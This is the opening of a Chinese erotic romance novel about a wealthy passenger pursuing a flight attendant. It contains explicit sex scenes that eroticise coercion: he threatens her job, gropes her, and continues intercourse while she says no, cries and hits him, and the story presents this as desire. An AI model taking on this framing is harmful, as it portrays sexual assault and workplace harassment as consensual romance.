【大亨的契约空姐】(完)作者:丘琳[人妻熟女]

 
  作者:丘琳
字数:70702


  yZWnxHpb.png.
  
点击看大图


第一章

白秋陵深吸一口气,才推着餐车走向头等舱。由今天开始,她只要负责头等
舱的服务就行了,她很惊讶自己竟然会被总公司由香港航线调来服务美加航线的
顾客,而且还是头等舱。

她和其他同事经过交谈后才知道,她们有的原本就在这里服务,有的也是从
别的地方调来的,大家采取轮班制度。

因为头等舱的贵客几乎都是有头有脸的人物,而且还是凤凰国际航空公司的
常客,长期搭乘公司的飞机;所以,公司决定为这些人找来一批外型甜美、表现
优秀的空服员为这些人服务,增加客人的舒适感与满意度。

白秋陵对于这个安排是有些惶恐的,因为她虽然表现不错,可是,只专门服
务头等舱的客人却是第一次,她告诉自己一定要好好表现。

当她进入头等舱时,她感到很奇怪,因为偌大的豪华舱房里竟然没有半个人,
她好吃惊,这怎么可能呢?

不敢相信自己的眼睛,她连忙放开餐车,小跑步地四处看了看,脸上显得有
些迷惑。

不可能啊!她明明听到上级要她来服务头等舱的贵客,他和公司签下了一年
的契约,如果他们表现得好的话,他还会继续和公司签约;到目前为止,他已经
是连续三年的老顾客了,没道理见不到人呀!

白秋陵着急的四处找人,一边不满的嘟哝:「难怪人家说他是一个怪人,每
次坐头等舱的时候都要整个包下来,除了让空服员在他指定的时间来服务以外,
其他的时间,他绝不让任何人打扰,真是怪!」

她的话才说完,突然一道冷漠的声音从她的左后方传来——「小姐,你要不
要把你的餐车推来?我想要点些东西吃。」

听来低沉而悦耳的男性嗓音让白秋陵差点吓得跳了起来,她快速转过身,看
到一个男人正端坐在她眼前,她惊叫出声:「啊……有鬼阿!」她连连向后退,
脸都吓白了。

那个男人听到她的叫喊,忍不住皱紧眉头,不屑的目光打量着她,「鬼?我
长得像鬼吗?」他摸了摸自己的脸。

虽然他对女人十分轻视,认为她们是这个世界上最低等的动物,而且也是解
决生理需要的一种工具;不过,女人对他的评价一向很高,每个看到他的女人都
觉得他既帅又多金,总想尽办法引起他的注意。

可是,眼前这个女人竟敢说他是鬼?他忍不住露出一丝兴味的残酷笑意,很
好,她可引起了他的兴趣,反正每次一个人坐在这里,除了忙的时候要处理文件
以外,其他的时间也很无聊,就和她玩玩吧!

「你……你到底是人……还是鬼啊?」白秋陵吓得话都说不清楚了。刚才明
明空无一人的座位,怎知她走过去后突然冒了个人出来,难怪她会被吓到。

还在怀疑?黎凯斯不满的挑起眉,倏地,他的脸上往出一丝不怀好意的神色,
猛然站了起来向她走去。

「啊……你……你不要过来,我最怕鬼了,你……你站在那里就好啦!」

白秋陵吓得脚软,用力的挥着手要他走开。

谁知他依然向她走来,然后闪电般的伸出手,一把抓住她挥舞的手,将她的
手强制的放在他强壮而精实的胸膛上,让她的手感受到他强而有力的心跳。

「你还觉得我像个鬼吗?」

感受到手下强而有力的心脏跳动,白秋陵才渐渐的不再感到害怕,她十分不
好意思的看着跟前的男人,「对不起,我……我太莽撞了,你……你是黎先生吧?」

她的脸上满了美丽的红霞,让黎凯斯脸颊的肌肉微微跳动着。

「没错,我就是黎凯斯,这里唯一的乘客。」他高傲的宣称,然后睨视着她,
「你知道,如果我去向你们公司反应,他们所访的空中小姐竟然将客人误认是鬼
的话……"白秋陵急急忙忙的说:」对不起,黎先生,我真的不是故意的,我只
是……唔……「

她被他突如其来的大胆举动给愣住,完全没办法做出任何反应,当她回过神
来想推开他时,他却早已结束了这个吻。

他露出一个满意的笑容,「既然你都这么合作的愿意以一个吻来作为补偿,
那我就暂时不跟你计较好了。」他扫了她制服上的名牌一眼后,随即狂妄的走回
座位。

看到白秋陵伸手擦着嘴,他的心中掠过一抹不悦,「秋陵,你还楞在那里做
什么?还不去把餐车推过来?」他下命令似的说着。

对于他的行为,秋陵感到很气愤,虽然不讨厌他的吻,可是他的侵犯行为却
令她厌恶,「黎先生,你……」

她才要抗议,黎凯斯马上以冰冷的目光看着她,「秋陵,你别忘了,你可是
我的服务员,难道你不服务我却要在这里和我辩驳吗?这是一个空服员该有的专
业精神吗?」

面对他这种得了便宜还卖乖的行为,白秋陵恨不得将东西全砸在他身上;不
过,她可没忘了他是公司的贵客,如果他真的到上司那里告她一状,那她不就修
了。算了,就当自己今天比较倒霉吧!

她臭着一张脸将餐车推到他的面前,当他还想毛手毛脚之际,白秋陵突然闪
身走人,走至门口处还回头来对他甜甜的笑着,「对了,黎先生,我把餐车放在
这里,如果你想吃什么就自己拿好了,我先去拿毛巾过来。」然后便头也不回的
走了。

黎凯斯望着她离去的背影显得有些错愕,眼中随即露出掠夺的神来,脸上的
表情也变得残酷、无情,「很好,白秋陵,我记下你了,想和我斗?」他缓缓的
露出嗜血的表情,嘴角也邪邪的上扬。

事情愈来愈有趣了,她是第一个敢和他公然作对的女人,他绝对要和她好好
的玩一玩。

当白秋陵看到排班表上的服务顾客竟然又是黎凯斯时,她忍不住苦着一张脸,
哀叫着:「不会吧?怎么又是那个登徒子啊?」

排班人员看到她的脸色十分不对劲,连忙开口询问:「怎么了?秋陵,你的
脸色不是很好看哦。」

「那个……我能不能换班阿?」

「你有事吗?」

白秋陵面有难色地说:「只要不是黎凯斯,谁我都愿意上机服务。」

「小姐,你有没有搞错?有多少人想要这个位置还都排不到呢,你还不要啊?」
排班小姐一副不可思议的表情看着她。

白秋陵的脸色突然一亮,「那好啊,你看谁喜欢,我就和她换;好不好?」

「不行!」那位小姐马上义正辞严的拒绝她。「你要知道,我们这一行是以
服务顾客为至上,没有挑客人的权利;你选择空中小姐这行业的时候就该有这层
体认才是;何况,这个排班是上面特别交代的,我也不能替你变更。」

「哦!」白秋陵只能垂头丧气的转身,准备离开。天啊!一个月耶,这一个
月的班都要服务那个叫黎凯斯的乘客,她为什么这么歹命呢?

这时,排班小姐又突然叫住了她:「秋陵?」

她慢慢的转过身来,「又有什么事?」她有气无力的问。

「别那副死样子嘛,告诉你,服务黎先生也是很不错的,他可是我们公司的
长期贵客呢!何况,人家可是一个身价干亿的电子新贵,又住在美国的比佛利山
庄。他啊,可是多少女人趋之若鹜的黄金单身汉呢,你可要多多照顾人家哦。」
她有些暧昧的说。

「我知道了。」她一说完随即转身离去。像那种可恶的男人,就算他真的很
有钱;那又关她什么事?只要他不找她任何的麻烦,她就谢天谢地了!

其实,当时看到他长得又帅又酷的脸时,她就有些炫惑了。那个男人不只长
得好看,又十分有钱,也难怪地会那么傲慢,人家有那个本钱嘛!

她有些不平衡的想着,谁教自己就是没钱,又为了要还清妈妈的医药费,只
好忍气吞声的继续待在这里;还好,她对这一行还算满有兴趣;要不然她一定待
不下去。唉!算了,这一个月就当作是自己的磨练期吧!

黎凯斯舒适的躺在椅上,闭上眼睛假寐着。今天他又完成一项新软体的设计,
虽然轻松不少,可是精神上却显得有些疲累,设计完之后,他又要开始奔波在公
司和公司之间了。

所以,他才会指定凤凰航空替他保留一个月的头等舱,想到这里,他的嘴角
突然得意的扬起;那个空中小姐一定想不到,是他指定她来替他服务的。

思及此,黎凯斯的心情突然变得大好,微微睁开眼睛,他看到白秋陵正推着
餐车走过来。

她穿着合身的制服,衬托出她那娇美的身材;短裙下一双修长而雪白的腿,
看起来最如此的赏心悦目。

当他想到,如果她那双修长的美腿能够绕在他的腰间,看起来一定更加的性
感迷人,想到这里,他感到自己的男性欲望都开始勃发起来。

他举起一只手将她叫唤过来,他可以看到她脸上虽然带着笑,可是却又表现
出不情愿的眼神;这个女人,竟敢到现在还想反抗他!

白秋陵挤出甜美的笑容,她没有忘记自己是一个空中小姐,有自己该尽的本
分;可是,她女性的直觉却令她想要远离这个男人,因为她怕自己如果太接近他,
说不定会伤了自己。

第二次省到他,她只觉得这个男人怎么可以这么过分的帅气和充满了男性魅
力?第一次是心动,第二次是着迷,她多怕自己的心真的会因为他而沉迷,可是
她不想变成这样。

「黎先生,请问有什么事吗?」

闻到她身上传来的女性淡淡幽香,他忍不住深吸一口气;他从没闻过这么性
感又清新的女性味道,一般和他在一起的女人。都抹着浓浓的香水,令他十分的
倒胃口。没想到,白秋陵身上传来的淡香,却让他的动情激素上升。

「过来替我按摩,我觉得今天头有些疼,肩膀也有些僵硬,你来让我舒展一
下。」他毫不客气的命令着她,并闭上眼睛准备享受她的服务。

白秋陵气得脸都快黑了,这个不要脸的男人,他当她是什么啊?她只不过是
个空中小姐那!「白先生,你可能有所误会。」她咬牙切齿的对地说着,脸上的
笑容都快要挂不住了。

「我是空中小姐,假若你有任何需要,我都能想办法替你办到;可是,我们
的服务并不包括帮乘客按摩,如果你那么不舒服,我建议你待会儿下机时可以去
看医生。」

他睁开眼睛,目光如炬的看着她那张气黑的脸,偷偷在心中笑着,脸上的表
情依然十分冷酷,「是吗?白小姐,我记得你们公司是以服务顾客至上的,对吧?
既然我是你们公司的重要顾客。又是目前头等舱唯一的客人,你是不是应该做到
客人对你的要求?」

「黎先生,我已经说过了,我们的服务项目很多,可是真的没有包括这—项!」
她耐心的解释着。

她快气死了,这个死男人,分明是在找她麻烦。

「那好吧!」黎凯斯一副不勉强的无所谓表情,随即站了起来,「既然你不
愿提供这项服务,那我就只有向机上的负责人抱怨去了。」

他故意大声的说着:「我就说,专门替我服务的小姐根本就不想替我服务,
口气又差、服务又不周到,甚至还反驳客人说的话,我还要……」

「停!」白秋陵头痛的制止了他的抱怨,要是真的让他在上级面前告她一状
的话,那她年底的绩效奖金和优良表现奖金不就都飞了;而且,还会被公司列为
不受欢迎的员工,甚至可能被辞退,她可担不起这个风险;好不容易受到公司赏
识走到这里,怎能被这个男人给破坏了?

她告诉自己,只要再忍一个月就够了,她一定可以的,况且……算了,按摩
也不是什么大不了的事,何必和他计较呢?

「黎先生,麻烦你回去坐好,我马上替你按摩,这样总可以了吧?」

黎凯斯扬起一抹不易察觉的得意笑容,「当然可以罗,如果你早一点答应,
不就没事了吗?」

白秋陵站在他后面,忍不住狼狈瞪了他一眼。可恶!这个男人得了便宜还卖
乖,竟还大言不惭的这么说;她真的好想踢他一脚!

「秋陵?你在看什么?还不快点。」

「哦。」她将手放在他的头上开始替他按摩。

这时,他又开口挑剔:「怎么?没吃饭啊?不会大力一点吗?」当她开始重
压时,他却又抱怨:「轻一点啦,你想谋杀我啊!」

白秋陵的心中早就一肚子气,她用着很柔、很柔的声音对他说:「这样可以
吗?」眼中却又射出杀人的光芒。

黎凯斯只是闭上眼睛,发出满意的哼声:「勉勉强强啦!」

约莫过了一会儿的时间,白秋陵发出了抗议之声:「黎先生,可以了吧?我
的手已经酸得没有力气了耶!」

黎凯斯想了好一会儿,「好吧!这样就可以了。」

白秋陵这才吁了一口气,「太好了,真是累死我了。」她站在他身边捶着自
己的手臂,丝毫没有发现黎凯斯已经睁开眼睛,像盯着上好的猎物故,直直的锁
定了她。

他猝不及防的伸出手,将她拉到他的怀中,不给她任何反抗机会就封住了她
的唇,「嗯……嗯……这味儿真甜……」。

她想要推开他,他的大手却大胆的伸入她的短裙内,在她的臀部上滑动着。

「你这个登徒子,放开……唔……」

她的开口却给他机会将舌探入她的口中,熟练的四处游走,贪婪的索取着她
的甜美。而他的一只手将她的短裙卷上她的腰间,随即伸入她的内裤里,在她的
私密之处揉搓、轻捏着,激起她体内那股陌生的悸动与颤抖。

他的另一只手还伸人地的上衣内,从她光滑的背部来到她的胸扣间,轻巧而
熟练的将它解开,并将手移到她的前胸,握住她的一只挥圆,用力的揉捏着,在
她雪白的乳房上留下他手印的红记……

「嗯……啊……」她因他的挑逗而全身无力,所有的反抗全都消失,脑中只
有因这火热的挑逗所引起的陌生情欲,那又热又麻的感觉占据她所有的思绪,让
她整个脑子里,只有他的吻、他的爱抚。

当她激情地仰起头,露出纤细而白嫩的脖子时,他的唇滑下她的唇,伸出舌
头掠过她的雪白颈项,在她的领子和前胸上印下一个个红色的印记,属于他的印
记!

当他想要更进一步时,突然传来飞机即将下降的广播,他随即替她鳖装,在
她还未搞清楚状况时,他已经站起来,连同在他怀中的她一并抱起,让她站在地
上。

她迷惑的看着他,他却对她露出一个笑容,将手放在被他吻肿的红唇上摩挲
着。

「看来,你也是个热情的小东西哦,不过,我得准备下飞机了,不如你和我
一起去吃消夜,可好?」

他的话让白秋陵犹如遭受电击。天哪!她到底在做什么?她是个空中小姐,
可不是一个妓女耶,竟然……她竟然和她的顾客在……在飞机上就……她整个脸
变得通红,沮丧的用手掌将脸遮了起来。

她怎么可以做出这么丢脸的事?

「黎先生,我告诉你,这件事……」

黎凯斯却怀着恶意的笑接着说:「这件事就留着我明天再来完成好了,看到
你这么热情的反应,我还真有些迫不及待明天的到来呢!」他调侃着,一只手滑
过她细致的脸颊,然后笑着系上安全带。

白秋陵还呆呆的站在那里时,黎凯斯却一把将她拉到自己的怀中,将她紧紧
的拥住,正当她要挣脱时,飞机突然起了一阵轻微的摇晃,害她只能紧紧的抓住
他的上衣,直到飞机平稳的降落。

黎凯斯这时才放开她,然后解开安全带,「我可是救了你一命哦。」

他提起自己的手提箱,走到门口处,「不过,没关系,我想你明天应该会好
好『酬谢』我的。」他坏坏的眼光上下打量了她的身材一番后,狂妄的纵声一笑,
转身离去!

白秋陵这时气得牙痒痒的,恨不得杀了这个男人。刚刚,她只是一时被他所
感;明天,他想都别想,她不会再让他如愿了。

当她意识到自己还站在原地时,忍不住轻喊了声:「我要交班了,怎么还站
在这里啊?」她连忙推着餐车离去,心里还十分气愤的在心里诅咒着那个臭男人。

黎凯斯今天显得特别愉快,他轻松的踏进自己在比佛利山庄的住处,当初他
会在这里购屋,绝对不是因为想要住豪宅的关系,而是为了他的外公。

自从他的父亲发现母亲怀孕后,就不愿再和年仅十八岁的母亲在一起,而另
外娶了家里安排进行家族联婚的女子他的母亲本来想要打掉他,要不是外公积力
劝说并允诺要照顾他的话,这个世界上说不定就没有他这个人了。他的母亲在生
下他后就消失得无影无踪,从他出生到懂事以来,都是外公打零工赚钱来抚养他
长大,有什么好吃的、好用得,总是先留给他,自己常常饿着肚子,所以他才会
发奋努力,为的是希望能给外公一个好的生活品质。当他努力研发第一套软体设
计时认识了莉莉,一开始她带着甜美的笑容走进他的生活,无微不至的照顾外公,
让他卸下心防。当他开始信任她,也放心的在晚上去进修时,却发现了她的野心。
他一次提早回家,发现她对外公的好,只是在他面前的一种伪装。她会接近他,
只是为了他即将开发出的那套软体,得到它,就等于得到了一亿美金。所以她才
会处心竭力的接近自己。

幸好,他及早发现了她的阴谋,所以才不致被她所骗,从此,他就不再相信
任何女人;他的母亲都能狠心得弃他于不顾,而莉莉接近他,也只不过是为了钱
罢了!这些年来,他看过太多女人,她们口口声声说爱他,说到底,爱的不过是
他的钱而已。每次和她们分手,她们都又哭又闹的,当他送她们珠宝或是一章支
票时,马上就笑逐颜开了。屡试不爽!所以,对于女人,他是从心底的不屑,每
个女人都是爱钱和贪婪的,没有一个例外!就算白秋棱也是一样,明明很喜欢他
的吻,却又口是心非。

他十分都视她的表里不一,但心中却又因为想起她而有了一丝不该有的悸动。

他告诉自己,他还没有玩过她呢!只要失去了新鲜感,他一定很快就能把她
忘怀的,就像他对待那些女人一样。

他走到客厅时看到了管家——玛丽亚。她是一个五十多岁的妇人,为人亲切
又热情,她来这里已经三年多了,家里所有的事他都仰赖她,也十分的信任她,
若不是有她,他也无法安心的在公司和家里跑来跑去了。

他会每天坐飞机往返美国和加拿大之间是为了外公,自从外公的身体在五年
前变得愈来愈坏后,他就开始在公司和家里之间每天奔波。

这—点,他从没抱怨过,因为比起外公对他的疼爱、对他的照顾,这些根本
就不算什么。

「玛丽亚?我外公今天的情况如何?」

「黎先生,你可以亲自去看看他啊!」

黎凯斯显得有些惊讶。

「外公到现在还没题吗?都已经这么晚了。」

「他今天精神显得特别的好,还要我去做自己的事,并且交代如果你回来了,
务必请你到他的房里去,他说有重要的事要和你谈一谈。」

「好,那我就先过去看看他。」黎凯斯踏着大步往外公的房间走去。

为了让外公感到方便,他把外公的房间安排在楼下。绕过一个转角,他来到
一扇门前,轻轻敲了敲,「外公,是我,您睡了吗?」

一道苍老、虚弱的声音从里面传了出来:「进来吧!」

黎凯斯推门走了进去,看到外公半躺在床上,眼睛正看着他。「凯斯?你回
来啦?」

黎凯斯坐在外公的身边,伸出手握住那骨瘦如柴的手,他心疼外公因为长年
辛苦而失去了健康。

「外公,听玛丽亚说您有事找我?」

「是啊,我今天特地醒着等你回来,虽然你每天都会措飞机回来,可是,我
都已经睡着了;当我早上醒来时,你却又要赶着到公司去,假日又要到其他分公
司去视察,处理一些文件,我们祖孙俩能说话的时间实在很少。」

「外公,对不起,我这—阵子太忙了,所以……」

老人拍了拍他的手臂,「傻孩子,外公又没有怪你的意思,外公只是在想,
如果这样赶来赶去太累的话,你不如就待在加拿大那边不要回来了,等到你较有
空的时候……」

黎凯斯打断了老人的话:「外公,我不是说过了,我一点也不觉得累;再说,
我虽然很少有机会能和您说说话,可是至少在竖叨可以进来看看您,我才放心嘛!

「我知道你是孝顺,其实,我最主要的意思是希望你不要把时间浪费在我身
上,而能够多交些朋友;你都快三十岁了,总得有个女朋友吧?」他关心的询问
着黎凯斯。

「你想想看,外公还有多少日子可活?再多也不过只有几个月的日子罢了,
你总得有个伴好照顾你的生活,外公可不能一辈子都陪着你呀!」

「外公,这一点期就不必替我操心了,我……」

「唉!我怎么能不操心?我知道你对女人的观感,可是那些都是错误的,也
有好的女人啊,凯斯,就算是了了一件我的心事吧!你现在事业也有了:就是没
有女人,这样外公如何能放心的走呢?」

「外公,您想太多了,医生不是说过吗?您的年纪虽然大了点儿,但只要好
好的照顾、将身体调养好,不出二个月,他便能替您动手术,将您的心脏病给治
好的。可是您看看您,硬是不肯动手术,又不肯好好的调理自己的身体,要我怎
么能不担心呢」「这样好了,如果你真要我动手术的话,那也可以,不过,我有
一个条件你一定要做到,不然我就不去动手术,也不调养自日的身体。」老人耍
赖的对他要求着。

黎凯斯有些哭笑不得,有哪件事他没照着外公的话会做?「外公,我什么时
候不听您的话了,您何必拿自己的身体赌气呢?」

「好,这可是你说的哦,我要你去交个女朋友来给外公着。」

「什么?外公,您这不是强人所难吗?」

他来往的那些莺莺燕燕,根本没有一个能带来给外公看的,如果外公看了一
定会气死;更何况他根本不想带她们任何一个人来,他都已订好游戏规则,要是
破坏了,他一定会被烦死。

「不要就算了,我就知道,你每次都只会敷衍我这个老人,我也是为你好用,
想想着,你到现在还没有一个固定的女友,我要抱曾孙子都不知道要等到什么时
候,像这样没有希望的人生,我留恋什么?还是早死早快活。」老人十分孩子气
的对着黎凯斯耍脾气。

黎凯斯这时才觉得事态严重,以前外公都只是随口一提,没想到这次他竟然
以性命威胁。唉!他该怎么办呢?人不能随便找一个。外公一定不会相信的。

正当他在苦恼之际,脑海中突然闪过一道姣美的身影、一脸甜美的笑容,是
那每次被他一逗就气得咬牙切齿、眼睛冒火的白秋陵。

他灵机一动,对呀!他怎么没想到她呢?可是要得到她的合作,看来还得耍
些手段想些计谋才行;不过,他一向能得到他想要的!

他露出一个得意的笑,这不是一举两得吗?他现在正想得到她的人,而刚好
她也可以帮他这个忙;反正等到外公的手术成功时,他再告诉外公他们因不合而
分手,这样不就成了吗?

到时候。不但目的达成,而他也应该对她感到厌倦了吧!算了。先别想那么
多,他决定明天就去找凤凰国际航空公司的负责人谈借人的事,并进一步了解白
秋陵的情况。

他看了外公一眼,安抚的对他说:「外公,我一直没有告诉您,其实我现在
正在追求一位小姐,只是我们还没有正式交往而已;不然,这个星期假日我带她
过来和外公认识好不好?」

老人的眼睛突然变得十分有神,转头兴奋的看着黎凯斯。

「你是说真的?」

「当然是真的,不过,我可没把握她对你的孙子有意思哦!」

「怎么可能?你这么优秀,哪个女人能和你在一起可是他的福气呢!我对自
己的孙子有高度的信心。」他哈哈大奖的说着。

看到外公这么高兴,黎凯斯更加坚定要实行他的计划,不论得付出多大代价,
他一定要让它顺利的进行,事情攸关外公的健康,他一定要成功才行!

「外公,这下于您可以好好修息了吧?」

「当然、当然,这下子我可放心了。」老人眉开眼笑的想要躺下来。

黎凯斯连忙扶着他、帮助他躺下来,并替他盖好被子。

「外公。您可要答应我,这些天好好的吃东西,如果玛丽亚替您炖了补药,
您可不能不吃或是偷偷倒掉了哦。」

「放心、放心,我一定会吃的,很晚了,你也早点去休息,明天还要上班呢!」

「嗯,外公晚安。」

「嗯,晚安。」

黎凯斯这才走出房间,轻轻的关上门,往自己的房间走去。

不知为什么,当他想到白秋陵会因为他这个计划而待在他的家里、他的身边
时,他就有一股莫名的兴奋感勉强压抑下这种感觉,他警告自己,绝不能对任何
女人产生感情。

和白秋陵之间绝对只有合作和金钱的关系,绝没有任何感情因素存在。对!
只要给她一笔钱,他应该就会满足了,女人要的不就是钱吗?他得意的笑着,并
关上自己的房门。

第二章

黎凯斯坐在头等舱里。他看到白秋陵一副戒备似的模样,忍不住在心中感到
有趣,从没有一个女人会表现得这么好玩,他碰过太多的女人,一知道他要追求
她们,不是表现得受宠若惊,就是故意以退为进;可是,他怎么看白秋棱,就觉
得她这两者都不是。

这么新鲜的反应反而激起他的征服欲望,也让他加之间的游戏变得益发刺激、
有趣;当男人碰到挑战时,只会更加的想去征服,并在征服的过程中得到一种畅
意的快感。

他伸山一只手叫唤着她:「秋陵,麻烦你过来一下,好不好?」

「黎先生,你有什么事吗?」

「麻烦你替我拿瓶红酒过来,好不好?」

白秋陵感到些微的诧异,不过,她没有说什么,只是从餐车里拿出一瓶酒来,
当她替他倒酒时,他突然一把将她拉到自己的膝上,白秋陵害怕地惊呼了一声,
连忙将酒瓶放着。

「黎先生。」白秋陵用十分严厉的口气对他斥责着,「我是这里的空服员,
不是你的女伴,请你不要随便对我动手动脚的,好不好?」她的小手推拒着他的
胸膛。

可是,他依然不为所动的不愿放开她,「我只是有话想要告诉你。」

「好啊!你先放开我,我们再慢慢来谈。」她依然挣扎着,想要挣脱他的拥
抱。

一个要挣开、一个不愿放,就在两个人拉扯之间,她的短裙不知何时被卷至
腰上,露出她雪白如丝的大腿。而她的肩膀被他的大手紧紧握住,在挣扎之间,
上衣开始有些松脱,露出一大片雪白的酥胸,让黎凯斯看得两眼发直、眼里吹出
灼热之白秋陵意识到他的目光,连忙想将自己的衣服拉好,却被他的魔手抢先一
步进占了她的胸部;他大掌一拨,将她的上衣拉到一侧,随即低下头,在她浑圆
的肩头上啃咬着,一只手也摸上了她的大腿,恣意抚摸着、探索着……

「不要……」她摇头想要拒绝。

黎凯斯一个快动作却立时封住她的唇,在她的唇上啃咬、吸吮着;趁着她微
启红唇时,他伸入灵巧的舌头,恣意的探索、搅弄春她的香舌与吸取唇内的芳香
「唔……嗯……」一股热流由她的下腹窜升到身体各处,燥热的感受令她全身一
软,只能无力的偎在他的怀中,任由他予求予求;所有的反抗,在碰上他的吻与
爱抚时,全都宣告瓦解。

看到她无言的臣服,他更感到勃情欲发,所有的话,都可以待会儿再说,他
目前只想要她,要她管他解决从第一次看到她时就无法熄灭的欲火。

他将两个座位中间的横杆拉起,顺势躺了下来,也将她一并拉到自己的身上;
他更加深入的吻她,一只手不安分的卷着她的短裙,让它停留在她的腰间;然后
用力扯下她的内裤,手掌直接接触她如丝般触感的雪白俏臀,在她的臀上不停的
上下滑动着。

他的另一只手也拉下她的上衣,跟着褪去她的胸罩,让两只雪白而丰满的乳
房呈现在他眼前她一只手用力握住她的乳房,指尖用力的搓揉着乳尖,让她的蓓
蕾在他的指间坚挺绽放,并张开嘴含住其中一颗坚挺的乳蕾,用力的吸吮着。

他用脚分开她的腿,将放在她臀股之间的手深入她微开的私处内,按压、探
捏着她那敏感的小核,直到她再也无法忍受地低吟出声……

他突然翻了个身,让她躺在自己的身下,他看着她已因激情而在皮肤上梁上
一层醉人的美丽,忍不住快速的扯下自己的领带和上衣,将自己赤裸的上身紧紧
贴着她同样光滑的上半身,如此紧密的触感,带给两人异样的快感,双方都忍不
住轻呼出声……

他微抬起身子,将自己的长指挤入她私处的密林地带,揉抚着、探索着,接
着快速的挤入她的穴口中。

白秋陵的身体倏地一僵,突来的侵人让她十分的震惊与不适,「不……不要
……」她抗拒着他的动作,不料却反而紧紧夹住了他的手指。

「不要?」黎凯斯突然邪笑着,「好啊,不过,你紧紧的夹住了我的手,到
底是要?还是不要?」

她墓然一惊,连忙张开她的腿,谁知他的手指竟然更加深入她的幽径,狂肆
地在她的体内律动着、引诱着,使得她尖叫出声,头不停地狂摆着。「放开……
我不要这样……这样是不对的……呃……」她的身子如火焚般不停的扭动着,一
阵阵的热汁自她的私处缓缓流出。

她的蜜液浸湿了他的手指,他得意的笑着并撤出手,将自己沾湿的手抬举到
她的眼前。

「不要?嗯?你看看,都这么湿了,还说不要?」他将它送入口中。

白秋陵看到他手指上显得如此暧昧不堪的蜜液,不禁差红了睑;当她看到黎
凯斯将手指放进嘴里吸吮时,她竟然感到体内升起一股奇异的快感,冲刷着她所
有的感官,她连忙将头转向另一边,不愿去看他如此猬亵的行为。

他低笑了一声,突然扳开她的大腿。让她美丽的私处大刺刺地呈现在他已因
情欲而火红的眼前,看着她穴口不断泌出的汁液,他忍不住低下头,俯在她的私
处前赞叹不已。

「好美……真美……又湿又甜……」他口一张,咀饮着她的甜汁。

被黎凯斯如此亲呢地舔吮着,她只能吟哦出声,全身涨红,体内已燃起巨大
的欲火,心里、脑中除了他的抚触外,全然一片空白,直想要他给予一些什么,
可是,她却又说不出来,自己想要的到底是什么。

他的舌仍然持续地在她的甬道中探索自如、刺进退出,反覆不断。没有稍作
停歇,不仅逼出她更多的爱液,也令她几乎浑身瘫软;而她柔嫩的私处更是娇艳、
泛红的绽放在他眼前,他用手拨开层层的花瓣,露出突出的一点,用舌头席卷、
压触着她的小核,令她更加的狂浪晕眩,双手激动的紧紧抓住他的头发,双腿更
是无力的垂放着。任由他的摆弄……

待她再也无法承受更多而求饶时,他才挺起腰杆,拉下自己的长裤,将她的
双腿置放在他的腰间,一个挺身便将自己的男性欲望一举推人她的体内;当他碰
到那层障碍时并没有停下,只是继续无情的推进,不理会她的拍打与哭喊,坚持
用他的巨大冲破她的薄膜……

她的唇被他给盖住,只能发出模糊的抗议声,那瞬间被撕裂的疼痛直捣心房,
痛得她只能咬着他的唇,本能的抗拒着;他移开自己的唇,再次覆住她的唇,只
不过这次却深入她的口内,以吻来安抚她的痛楚。

他依然持续律动着,并没有因为这样而停下来,反而更加猛烈冲刺着,感到
她渗出更多的爱液,他兴奋地一次又一次撞击着,倏地,他撤出她的小穴,扳过
她的身子,让她丰润的臀部高高的拱起,呈现在他涨满情欲的眼眸,他张开唇吸
吮她的臀部,尽情地诱出她更多的蜜液。

他半跪起身子,让他汗湿的胸膛紧贴在她雪白而光滑的裸背上,左手满满地
盈握住她饱满的乳房,用力的揉捏着;右手则在此时袭向她的穴口,揉按着,然
后一个挺身,从她的身后贯入她的体内,凶猛地律动着……

白秋陵因为这强烈而陌生的撞击而感到更加的刺激,忍不住大声呻吟,将头
往后仰,闭上眼睛感受到他的男性欲望在她体内肆虐而张狂地进出着,如此的饱
满、充实……

他猛力的抽动着,让她原本的难受全都化为畅意的快感与舒服,使得她的体
内不由自主的泛起一阵难以控制的痉挛,深深地夹紧他的巨大,让他也在她的反
应中开始抽搐着,在她的紧窒中获得强烈的快感,在她的收缩下释放出所有的精
力,将所有丰沛的种子洒人她的体内……

激情过后,黎凯斯首先恢复过来。他穿好衣服后,白秋陵才发现自己的赤裸,
急忙翻身而起穿上衣服,而黎凯斯却好整以暇的欣赏着她穿衣的情形。

「秋陵,我想,我们得好好的谈—谈。」

白秋陵当然知道自己和他发生了如此亲密的关系后,非要好好的谈一谈不可;
事实上,她对自己会如此放浪的迎合他也感到吃惊与后悔,这种男人不是她能招
惹的。「我们当然要谈一谈,我所要谈的是,以后绝不能再发生这种事,我们就
当这件事设发生过,以后你最好少碰我,我们还是保持公事上的关系比较好。」

她才刚说完,黎凯斯突然仰头大笑,眯着眼看她。「你未免想得太天真,你
以为我们发生了这种事,还能维持你所说的关系吗?」

白秋陵的心在颤抖,可是她表面上力持镇定,她高傲的抬起下巴,直视着他
嘲弄的眼神。「我看,天真的人是你吧?黎先生,我们之间对彼此根本就不熟识,
有的只是在机上的短暂接触而已,难道你不愿意认同我提议的原因,该不会是你
想娶我、对我一见钟情吧?」

黎凯斯的眼神一闪,嘴角扬起一抹诡异的笑,「你说对了一半,没错。我是
想娶你。不过,我可没有对你一见钟情哦,我可不是一个滥情的男人,怎么可能
随便对一个女人产生感情?」

白秋陵闻言有些吃惊,她瞪大眼睛,不敢置信的看着他,「你……你要娶我?
不会吧?难不成就因为我和你发生关系,你就要对我负责?」

听到她的话,黎凯斯又笑了出来,「你真的很有趣。」接着他脸上的表情瞬
即变得无情,「不过,如果我真的是因为这个原因而娶你的话,那我不是早就娶
了好几十个老婆了!」

「那你为什么要这么做?」

「你可能误会了我的意思,我是说你的话对了一半,不过,也不全然是这样,
只是较接近事实而已他说到一半,突然传来飞机广播的声音,要乘客准备下飞机。

黎凯斯拿起自己的东西,拉着她的手,「走吧!反正你也要换班了,刚好我
也已经下班,我请你去吃晚餐。」

「我不要,我要回去休息。」白秋陵下意识的抗拒着。她不想和这个男人有
任何牵扯,有过一次的感情创伤后,除非这个男人很可靠,否则,她绝不要再随
便沙人感情之中;黎凯斯就是那种会伤害她的男人类型,她才不要再为这种男人
暗自神伤。

但黎凯斯却不愿放开她,依然坚持拉着她的手一起走出去。「不行!如果你
不和我谈清楚,我是不会放你走的,看你是要和我继续拉拉扯扯,还是要乖乖的
和我出去。」

当白秋陵还想挣扎时,却发现他们已经来到机舱门前准备要下飞机了,看到
一个个的乘客已经在注意他们,而其他的同事也好奇的看向他们这里,她只好不
再挣扎的任由他拉着自己准备下机。

一下了机,她连忙开口道:「黎先生,你听我说,我现在还要去交班,拜托,
让我先去交班,然后你在出口处那里等我,好不好?」

